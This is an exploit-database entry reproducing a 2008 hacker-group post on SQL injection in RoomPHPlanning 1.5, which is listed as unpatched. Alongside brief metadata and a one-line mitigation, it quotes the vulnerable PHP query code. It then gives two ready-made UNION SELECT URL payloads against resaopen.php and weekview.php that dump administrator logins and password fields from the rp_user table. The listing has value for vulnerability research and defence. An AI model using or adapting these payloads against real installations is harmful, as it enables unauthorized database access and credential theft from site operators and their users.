header-logo
Suggest Exploit
vendor:
RoomPHPlanning
by:
Virangar Security Team
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: RoomPHPlanning
Affected Version From: 1.5
Affected Version To: 1.5
Patch Exists: NO
Related CWE: N/A
CPE: a:roomphplanning:roomphplanning:1.5
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

RoomPHPlanning 1.5 SQL Injection Vulnerabilities

RoomPHPlanning 1.5 is prone to an SQL injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. An attacker can exploit this issue to manipulate SQL queries by injecting arbitrary SQL code. This may allow the attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in a way that would allow an attacker to modify the logic of the executed query.
Source

Exploit-DB raw data:

  #######################################################################################
  #                                                                                     #
  #           ...::::RoomPHPlanning 1.5 SQL Injection Vulnerabilities ::::...           #          
  #######################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-----

-------vuln codes in:-----------
resaopen.php:
line 7:@$idresa = $_GET['idresa'];
..
..
ine 102:$qry = "SELECT IdRm, R.IdUs, TitleRs,".
   "DateRs, BegRs, EndRs, DescRs,".
   "BillRs, NameUs ".
   "FROM ".RESA." R, ".USER." U ".
   "WHERE IdRs=".$idresa." ".
   "AND R.IdUs=U.IdUs";
   
*********
weekview.php:
@$idroom =  $_GET['idroom'];
....
line 47:$qry =  "SELECT NameRm, BkcolRm, FtcolRm ".
  "FROM ".ROOM." WHERE IdRm=".$idroom ;
---
exploits:
http://site.com/resaopen.php?idresa=-99999/**/union/**/select/**/1,2,3,4,5,6,concat(LoginUs,0x3a,char(58),PwdUs),8,9/**/from/**/rp_user/**/where/**/IdRk=1/*
http://site.com/weekview.php?idroom=-999/**/union/**/select/**/concat(LoginUs,0x3a,char(58),PwdUs),2,3/**/from/**/rp_user/**/where/**/IdRk=1/*
---
young iranian h4ck3rz

# milw0rm.com [2008-05-26]